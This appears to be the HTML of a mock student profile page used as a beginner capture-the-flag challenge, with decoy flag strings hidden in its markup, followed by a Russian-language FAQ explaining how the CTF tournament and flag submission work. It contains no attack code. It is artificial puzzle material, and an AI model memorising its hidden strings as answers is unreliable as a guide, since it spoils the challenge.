            <button class="navbar-toggler collapsed" type="button" data-toggle="collapse" data-target="#navbarDefault" aria-controls="navbarDefault" aria-expanded="false" aria-label="Toggle navigation">
        <span></span>
        <span></span>
        <span></span>
      </button>
            <div class="navbar-collapse collapse justify-content-end" id="navbarDefault">
                <ul class="navbar-nav">
                    <li class="nav-item">
                        <a class="nav-link js-scroll active" href="#home">Home</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link js-scroll" href="#about">About</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link js-scroll" href="#service">Services</a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link js-scroll" href="#contact">Contact</a>
                    </li>
                </ul>
            </div>
        </div>
    </nav>
    <!--/ Nav End /-->
 
    <!--/ Intro Skew Star /-->
    <div id="home" class="intro route bg-image" style="background-image: url(data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wCEAAkGBxISEhISExMVFRUVFxcYGBUVGBcXFxUYFxcWFhUYGBUYHSggGBolHRUVITEhJSkrLi4uFx8zODMsNygtLisBCgoKDg0OGhAQGCsdICAtLS0tKy01LS0tLS0tLS0tKy0tLS0tLS0tLS0tLS0tLSstLS0tLS0tLSs3LTcrNzctN//AABEIAJ8BPgMBIgACEQEDEQH/xAAcAAEAAgMBAQEAAAAAAAAAAAAABQYDBAcBAgj/xAA6EAACAQMCBAMFBgUEAwEAAAAAAQIDBBEFIRIxQVEGYXETIoGRsQcyQqHB0RRicpLwI1Lh8SSCwhb/xAAZAQEBAQEBAQAAAAAAAAAAAAAAAgEDBAX/xAAhEQEBAAICAwADAQEAAAAAAAAAAQIRAyESMUETImFRBP/aAAwDAQACEQMRAD8A4cAAAAAAAAAAAAAAADYsqHFLyRZLaa7pIiLWPBAz23F972an/W+GPwWzfrk5ZfsqdLbp7t9uOo3/AEotGm3Gn8lLD/m2OavWbuluoUeHtGEZRXx3l82ZrXxlLlVtqM15cVOS74abXbp0Of48r6X5R2i1t6UlmnwyNuNJZxy9Tmmg6laV3FUa07Wu8Yp1WvZze20ai25vk8Mu1lrNajL2N5T2fKa+qkc7jYqX/E/Gi481gTPaN1hYT4oPlnp6djFOobB8yMUomRvJ40ZpjVqUkaFzp0ZdCVlE+HTY01T9T0HZtFQv7NwbTOr1olZ13TlNNpb/AFNnTK5neUeZA1oYbLTqNJxbTK1efeO/HXPJgAB1SAAAAAAAAAAAAAAAAAAAAAAAAAAAZ7Snl57GA37BbInK6jYk9KtlUnh7qPTzyXG00ZS5oqdvN0KvlJJl107VYtLc8+cdMemlfeFoPeOYy7ptFP1jRZ0m+JPf8S6+p1ONzF9TBeUIVIuMkmn9e5kys9Nslcv0bWZ2z96nTqwfOFWKlF8+j25NrdPmdHsvG1JQpqcKk7NxSlGeJSozy8yhJc48vdTeFjGPulH1vRvZuWF7vb6NFflxU8pN8L+T/wCTvLMoizT9C2MlBRdOaqUaizTmt1h+ZI8RyP7MvFTp1FaVW3SqtKn19nUk9kl0Um/g9+7Os0+xyyx1VS7jImZqFLieM4XmYUY6rqyyqeElznJ4jH1bJ03bfu3RpreosL/PgV288VWsHs+L03I/VZWlKPtLirOu3hqKfDGSfWKbzJb80U3U/tCp03KNtZ0Es+7Kpmbx3cVw7v128yvG34zcW+v4zpdKUn8DUfim2ntJSg/NHP6/2gXksY9jHyVGG/8AcmYa3jOtUa9pRoSXXEOB/Bxe3yN/Fkzyiw+K7WLj7WDTXdHPrr7xYnqScG4N8D2lBvePmu68yt1+bL45Z7TlpjAB1SAAAAAAAAAAAAAAAAAAAAAAAAAAAS+lUeJxSXT/AL/MiC6eCrNOUWyOS6isfbfreGalWKcVJOPJt8yFvZzt/dqQ4X/N1x2Ow2NFpdGamv8Ah6Fyk3GPEv8Acsp+vze555e+3XX+OSUNcedppeucErb61V6OM/Rp/Qap4IcW0uKk+0lxR5dJevqQVTwrdJrhUZecZxWP7mi5ML9T+0+LDW1WNRe8sPlv9CEvrdJ8k4s8t7G8T4ZUpS9XHPwln9zPfWFSk1GWcSWcNNOL7YfTz8zNa+ntMeBFb06vtMcVTlHjxinnm13eNs/udVp3GUnk5D4c0mpKSkk8Jrc7FZ6d/pp+Qt3WyaeK6SOWfarrVd3Eaak40YwTik9ptv3pPzTSX/r5lr8Z3X8NBz4sdvM5lc6xUrPnt57v5vl8DcPaah5+0nvJvfv18/M+Y2j836E1b2jm938WTun21GPNr9WVeRkxVi10icvw7d3+5nnoqX/RcpXVLpg07mtT8iLlkrxkUuvYqOcPf8iNZYtaqww8FdOuFt9oyk+AAOiQAAAAAAAAAAAAAAAAAAAAAAAAAADoPg14wznxbvDl9wezzyfL1OfJ6Vi7DZVdkbkaiZXbW9XCtzYpXpwte3jw2stGkpLdJrz3M0PD1tLd0IfL9iJtNQaJy11DKRU0jlwsbVOxo0U5Qo04PvGEU/ngpviDRqdao6k4pyfXBb7ivxLYir1bDO76cZ0gLGxUWopdi3UI4py7bfkQlpDMiwVI4pmYwtcl+1GlKq4049N3+hziNrNS4Irfrnode1G3VSvJvfoZYeGaU3xSgm8eaz8hMrDW3GZXUo7SUk+z2+pjepPs18TsN/4ZhwuMYrHpn68yqal4SWcqlGX9L4X+hs5MfsPG/KpK1J+ZsK8i1zJufhOXS2qN+dRJGSn4Jm03LEO0VmX5tlXLD4zxyVS8rp7I0yQ1fTJUJcL5Pk0R51x1rpzoACmAAAAAAAAAAAAAAAAAAAAAAAAAB6B4T9lT4rbiXOEs/kyARaPCi4o1qXdJr/PVEcnpWPtKaRrrwoyZP22pJ9TmtSM4TaXR8jatNVllRWc9jjcN9x6OPm8enWLO+XcsFjeLucjsb+rLaKk/RMs2mWt3PHKC/mf7ZI9Ly5Lk6J/GruYatxxLYjPD9vJSnGb4nF4z32T5MlbyCjHbqN1xfelxy8kveyxD4GjpNPZG5qyxHHkdMfSapVBZqN+bJ+2XYrk4z34OfESFhqa5PZroTpUTE4I0bijHsZXdpoj7q6Mul447r4momCq1hmnc3eDQq6jhPcnb0ZcX6qL48mvaJeb+iKoyW8S3XtK8vL/giWevHqPnZe3gPTwpgAAAAAAAAAAAAAAAAAAAAAAAAAAPqHNE/wCG6vBXh2knH9V9CvpknQm0lNc4tSIzbFk1qxjGtTqNe65Yl8eTI/UKasL+FRLignGolt70JbTjvtnHEvkWy8t1cW+V1imn+aIbWLZ3VjCqlmrbNwmuvD0fpn9Thx5d6rrlNzpfI6fCMnwYcJJSi1jDjJZT225PoStrRSwc18HeOY0oQt7pf6cFwwqQTc4bv78fxRw8bbrh5PJ06wnCtTVSjONSD5Sj+eV0fqZlhca2ZbVbU/Ebs7mrmOYvheOuHFbr8/kbll40o3WIr3WnyfM98VeHXcJPHvJY7ZXPn6/5sco1an/CVuGE05LmufDno2tn0Nxm+k5ddv0ZptZcKw+iM2rXXGm/I4joPj2cIpSktukv3JK+8ftrGVv55+hVlnTOl40ionKZW9Zt6ntak6bzwv7vdYzt5lJh4trxk3Tkln8/gXjwlWdai6s3lzlLfvw+79UzLFStCn4gktnn4nzU1xPqeeI9NTblDaX19SmX/tKceKcXFZwn0k/LuTJt0l8e1mudWXcgdV1rZqL+JB1L/JrVauUdMeMz/wCi2ajE5ZbZ4wjw7vK9Z4engAAAAAAAAAAAAAAAAAAAAAAAAAAACR0yWcxZHGa0q8MkycpuNjpHgW54qcqL5wf5PkYq9V2d25YzSqrE49Guu3+dSI0C89jcwn+Gp7sv/kufinTlVpcS5rdHly6u3WelV8T+D2//ACLb3qMlnEcuUNuq6rnvuVW0va9rLipVKlN5TzCTim1nGcbS5vZ933Lr4c1+ds+GW8M7rtnt+xYNR8PWV+vaQl7Kb3c6eMNtfig9n+R0x5Ne2XDfpze+8YX1aPBUuajj1Sahn1cEsryZB8y96h9nNxB5punWX8rdOX9rysmlZ6VUt8urZV+XNRcsfGK2OnnjrpPhfqvS06Sjl5z0Roplyq6rQl7s1wvtJNNfMrOpWqhJuDzBvKa6Z6DDO3qwyxWTwv4dd1BzjiWHhrKTi+e6Ojadp7t6MKSi3jPLPNtt/mzimnalUoTVSlOUJLrF4+fdepZKf2k36jw8UJPDXHKC4989VhZXp0MvHdkyi96pOnbQda5kkvw0srjqPpFLou75I5vqV9Vvqs6tThjTpxeIr7tOC5Rj5t9erflhR1StWuqvHUlKc3znN5wv0XPZbElSoe2krajtTj705/733f6ISTFu9oR0c5njETXkyS1tqMvZReVHm137fAjWXj3NooEMDBTHgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAengAmbCtxwcfxR3Xw5HVfDV4ri2jnnjD9Vszi1vWcJJov/AIF1RRqOGfdn7y8nyf6HDkxdMay3empVZ033yvRmvUt69q+Om3j8n5Fq1q3TnCa9Dc/hU47rKfc4R0Vuy8aNbVYYfeP7Mstj4vhOPCpxflJb/nuRV/4epSWUsen/ACc38TWbt6/DFvDXEt+W7T+n5mzjmV1Om3ksnbp2padQr5eIrPNYTXyIWt4Lt5/i4H3gv0zg5/bahXziFSXplk3Crc4WZyz6sfiyw9ZHnjl7ibqfZ/RW/wDEy/tRFXuh2tDnWlN/7Ulv6voalW4rNYlKT9WzQmpSeFlt9DrLl9qL4/IzKbm1SpRw5PCS+rZNahVhY0PZQadWa96XXzf7C1pQs6TqSw6kuX7LyKlf3cqs3OTy3/mF5DGeV/ibdNeTzuwjwHoc3rDPD0DwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA39JvnSnF9nn9zQCMs3NDtFhdqtSi1uWCyhxRRybwTrPBNU5PZ8jrGnT6rkzyXHV07Svq+jCnTlUm8Rim3nsjjFe8hdTua1Tnzpxy/cju9vNKMVjq55Oq/aRVcdOrtdeFfBySf1OFKTXxO3Fj7qM6tv2cUac681L7yjmPwe/1R0S506m1hwXyRz/7LLZyvHLpGnLPxaS/U6nd4RPJP2Vj6UTWdJinwwzl/I0advStYuUnl9X3fZLsS2sXcYOUm8Luc/1jU3Wl2iuS/UjHG5X+NtkY9V1GVabbfouiXY0AD1Sa6jlbsABrA9PAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH3SqOLTTw1ujqHhDxbCcVCbxJHLD6pzaaaeGRnj5Nl07R9oF0qmnVcP8A2P5SWTipOf8A6KrKjOjJ5UljchacctIYTUblduq/Zdp/sqFSvLnVaS/pjn6tv5EzrusQpRbkyiy8aOFONKEUlGOFz6FZ1TVqld5m9u3Q5+Nyu1bkjLruryrzfSK5IigDtJJNRztAAaAAAAAAAAAAAAAAAAAAAAAD/9k=)">
        <div class="overlay-itro"></div>
        <div class="intro-content display-table">
            <div class="table-cell">
                <div class="container">
                    <!--<p class="display-6 color-d">Hello, world!</p>-->
                    <h1 class="intro-title mb-4">I am student</h1>
                    <p class="intro-subtitle"><span class="text-slider-items">Rick and Morty fan,Love Linux,Love beer,This is not flag,Pervak,{,T,h,i,s, ,i,s, ,n,o,t, ,f,l,a,g,!,}</span><strong class="text-slider"></strong></p>
                    <!-- <p class="pt-3"><a class="btn btn-primary btn js-scroll px-4" href="#about" role="button">Learn More</a></p> -->
                </div>
            </div>
        </div>
    </div>
    <!--/ Intro Skew End /-->
 
    <section id="about" class="about-mf sect-pt4 route">
        <div class="container">
            <div class="row">
                <div class="col-sm-12">
                    <div class="box-shadow-full">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="row">
                                    <div class="col-sm-6 col-md-5">
                                        <div class="about-img">
                                            <img src="img/testimonial-2.jpg" class="img-fluid rounded b-shadow-a" alt="">
                                        </div>
                                    </div>
                                    <div class="col-sm-6 col-md-7">
                                        <div class="about-info">
                                            <p><span class="title-s">Name: </span> <span>aaveR lliriK</span></p>
                                            <p><span class="title-s">Profile: </span> <span>Hack you!</span></p>
                                            <p><span class="title-s">Telegram: </span> <span>@KirillRevaa</span></p>
                                            <p><span class="title-s">Phone: </span> <span>1337</span></p>
                                        </div>
                                    </div>
                                </div>
                                <div class="skill-mf">
                                    <p class="title-s">Skill</p>
                                    <span>Drink beer</span> <span class="pull-right">85%</span>
                                    <div class="progress">
                                        <div class="progress-bar" role="progressbar" style="width: 85%;" aria-valuenow="85" aria-valuemin="0" aria-valuemax="100"></div>
                                    </div>
                                    <span>To get education</span> <span class="pull-right">85%</span>
                                    <div class="progress">
                                        <div class="progress-bar" role="progressbar" style="width: 85%" aria-valuenow="85" aria-valuemin="0" aria-valuemax="100"></div>
                                    </div>
                                    <span>Admin</span> <span class="pull-right">10%</span>
                                    <div class="progress">
                                        <div class="progress-bar" role="progressbar" style="width: 10%" aria-valuenow="10" aria-valuemin="0" aria-valuemax="100"></div>
                                    </div>
                                    <span>Smoke cigarettes</span> <span class="pull-right">90%</span>
                                    <div class="progress">
                                        <div class="progress-bar" role="progressbar" style="width: 90%" aria-valuenow="90" aria-valuemin="0" aria-valuemax="100"></div>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="about-me pt-4 pt-md-0">
                                    <div class="title-box-2">
                                        <h5 class="title-left">
                                            About me
                                        </h5>
                                    </div>
                                    <p class="lead">
                                        Did I really just forget that melody? Nah, da da dadadada nananana Alright, da da dadadada When I popped off than your girl gave me just a little bit of lockjaw Baby so cold he from the north, he from the Canada
                                    </p>
                                    <p class="lead">
                                        Bankroll so low, I got nothing else that I can withdraw Ran out the door I shine my wrist it go like chachasha, chashasha I got your bitch singing me lalala, lalala I shine my wrist it go like chachacha, chachacha I got your bitch singing that lalala,
                                        lalala How I stride like that? </p>
                                    <p class="lead">
                                        Amex, no cap, 800 score They wonder how, how I guap like that I rap my lyrics when I perform They wonder how, how I stride like that Married to the grind, I bought my ring I'm corny, but your girlie want that **** Modest with my jewels but check the bank
                                        Finally got that money say my thanks </p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>
 
    <div class="section-counter paralax-mf bg-image" style="background-image: url(img/counters-bg.jpg)">
        <div class="overlay-mf"></div>
        <div class="container">
            <div class="row">
                <div class="col-sm-3 col-lg-3">
                    <div class="counter-box counter-box pt-4 pt-md-0">
                        <div class="counter-ico">
                            <span class="ico-circle"><i class="ion-checkmark-round"></i></span>
                        </div>
                        <div class="counter-num">
                            <p class="counter">450</p>
                            <span class="counter-text">SKIP COUPLES</span>
                        </div>
                    </div>
                </div>
                <div class="col-sm-3 col-lg-3">
                    <div class="counter-box pt-4 pt-md-0">
                        <div class="counter-ico">
                            <span class="ico-circle"><i class="ion-ios-calendar-outline"></i></span>
                        </div>
                        <div class="counter-num">
                            <p class="counter">15</p>
                            <span class="counter-text">EXAMS PASSED</span>
                        </div>
                    </div>
                </div>
                <div class="col-sm-3 col-lg-3">
                    <div class="counter-box pt-4 pt-md-0">
                        <div class="counter-ico">
                            <span class="ico-circle"><i class="ion-ios-people"></i></span>
                        </div>
                        <div class="counter-num">
                            <p class="counter">550</p>
                            <span class="counter-text">LITER OF BEER DRUNK</span>
                        </div>
                    </div>
                </div>
                <div class="col-sm-3 col-lg-3">
                    <div class="counter-box pt-4 pt-md-0">
                        <div class="counter-ico">
                            <span class="ico-circle"><i class="ion-ribbon-a"></i></span>
                        </div>
                        <div class="counter-num">
                            <p class="counter">36</p>
                            <span class="counter-text">TOLERANCES RECEIVED</span>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <a href="#" class="back-to-top"><i class="fa fa-chevron-up"></i></a>
    <div id="preloader"></div>
 
    <!-- JavaScript Libraries -->
    <script src="lib/jquery/jquery.min.js"></script>
    <script src="lib/jquery/jquery-migrate.min.js"></script>
    <script src="lib/popper/popper.min.js"></script>
    <script src="lib/bootstrap/js/bootstrap.min.js"></script>
    <script src="lib/easing/easing.min.js"></script>
    <script src="lib/counterup/jquery.waypoints.min.js"></script>
    <script src="lib/counterup/jquery.counterup.js"></script>
    <script src="lib/owlcarousel/owl.carousel.min.js"></script>
    <script src="lib/lightbox/js/lightbox.min.js"></script>
    <script src="lib/typed/typed.min.js"></script>
    <!-- Contact Form JavaScript File -->
    <script src="contactform/contactform.js"></script>
 
    <!-- Template Main Javascript File -->
    <script src="js/main.js"></script>
</body>
 
</html>

Что такое CTF?

Capture the flag, что на русском — захват флага. Всё очень просто. У тебя есть задание, в ходе которого
нужно найти флаг, являющийся обычной строкой вида flag{…}.

Все флаги, как правило, хорошо спрятаны и часто приходится что-то взламывать или обходить разные системы
защиты, чтобы получить желанный флаг.

У меня нет навыков программирования и тем более нет умения что-либо взламывать

Не переживай, турнир рассчитан на новичков, которые только-только знакомятся с миром IT. Главная задача
этого турнира — заинтересовать тебя и показать, что в IT самом деле всё не очень сложно.

Как играть?

Перед тобой будет выбор из нескольких заданий. Выбирай любое, нажимай на кнопку «Подробнее» и попробуй его
выполнить.

Как найдёшь флаг, возвращайся на главную страницу, вставляй в соответствующее поле и нажимай на кнопку
«Сдать».

Как понять, что я нашел(ла) флаг?

Флаг имеет вид строки текста flag{…}, такое точно не пропустишь мимо.

Для нас важнее всего содержимое флага, то есть то, что находится вместо многоточия. К примеру, если бы тебе
попался флаг flag{ya_super_hacker}, то ответом на задание являлось бы ya_super_hacker.

Важно! В некоторых заданиях не стоит искать флаг вида flag{…}, ты накнёшься на странную строчку
текста, которая сразу даст понять, что это и есть ответ на задание.

Что ещё мне нужно знать?

Ни в коем случае не перезагружай и не закрывай страницу с заданиями, иначе весь прогресс сбросится. На всякий
случай, перед началом турнира, тебе ещё раз об этом напомнят.

Пожалуйста, не выкрикивай ответы на задания другим участникам турнира, пусть они попробуют сами, иначе
потеряется весь интерес.

Если вдруг что-то не получается, не расстраивайся, просто попробуй ещё раз, а возможно к заданию стоит
подойти совсем с другой стороны.

Теперь можно начинать!

Понравилась статья? Поделить с друзьями:
  • Как правильно составить коммерческое предложение по грузоперевозкам
  • Найти фильм знать как
  • Как найти высоту болта
  • Как найти бесплатный прокси сервер
  • Как найти кино по фото на телефоне